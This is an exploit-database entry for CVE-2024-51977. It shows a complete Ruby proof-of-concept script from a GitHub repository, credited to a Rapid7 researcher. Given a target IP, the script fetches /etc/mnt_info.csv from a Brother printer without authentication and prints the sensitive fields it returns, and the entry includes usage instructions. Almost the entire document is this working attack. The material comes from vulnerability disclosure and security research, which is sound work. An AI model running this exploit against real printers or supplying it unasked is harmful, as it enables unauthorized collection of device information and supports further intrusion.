Exploit database

GH-e61c89863ce30828e075ca78c47f586a

sfewer-r7/brothervulnerabilities

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-51977

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9
sfewer-r7/brothervulnerabilitiesRevision 2909a4d3dbbf

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-51977.rb

Suggested starting fileRuby · 1,744 bytes
# ==========================================================================
# CVE-2024-51977: An unauthenticated attacker can leak sensitive information
# ==========================================================================
#
# Verified on the following:
# * Brother MFC-L9570CDW (MAIN: ZL2403011354, SUB1: 1.32)
#
# Example Usage:
#   gem install httparty
#   ruby CVE-2024-51977.rb --printer_ip 192.168.86.62
#
# Credit: Stephen Fewer, Principal Security Researcher at Rapid7
# ==========================================================================
require 'httparty'
require 'csv'
require 'optparse'

HTTParty::Basement.default_options.update(verify: false)

class BrotherLeak

	def initialize(options)
		@options = options
	end

	def make_uri(path='')
		"#{@options[:printer_scheme]}://#{@options[:printer_ip]}:#{@options[:printer_port]}#{path}"
	end

	def main
		response = HTTParty.get(make_uri(@options[:mnt_info_path]))

		return nil unless response&.body

		csv = CSV.new(response.body)

		rows = []
		csv.each do |row|
			rows << row
		end
		
		0.upto(rows[0].length - 1) do |idx|
			$stdout.puts "#{rows[0][idx]}: #{rows[1][idx]}"
		end
	end
end

options = {
	printer_scheme: 'http',
	printer_ip: nil,
	printer_port: 80,
	mnt_info_path: '/etc/mnt_info.csv',
}

OptionParser.new do |opt|
  opt.on('--printer_scheme http') { |o| options[:printer_scheme] = o }
  opt.on('--printer_ip IP') { |o| options[:printer_ip] = o }
  opt.on('--printer_port PORT') { |o| options[:printer_port] = o.to_i }
  opt.on('--mnt_info_path PATH') { |o| options[:mnt_info_path] = o }
end.parse!

if options[:printer_ip].nil?
	$stderr.puts("You must specify a target printer IP via --printer_ip")
	Kernel.exit -1
end

BrotherLeak.new(options).main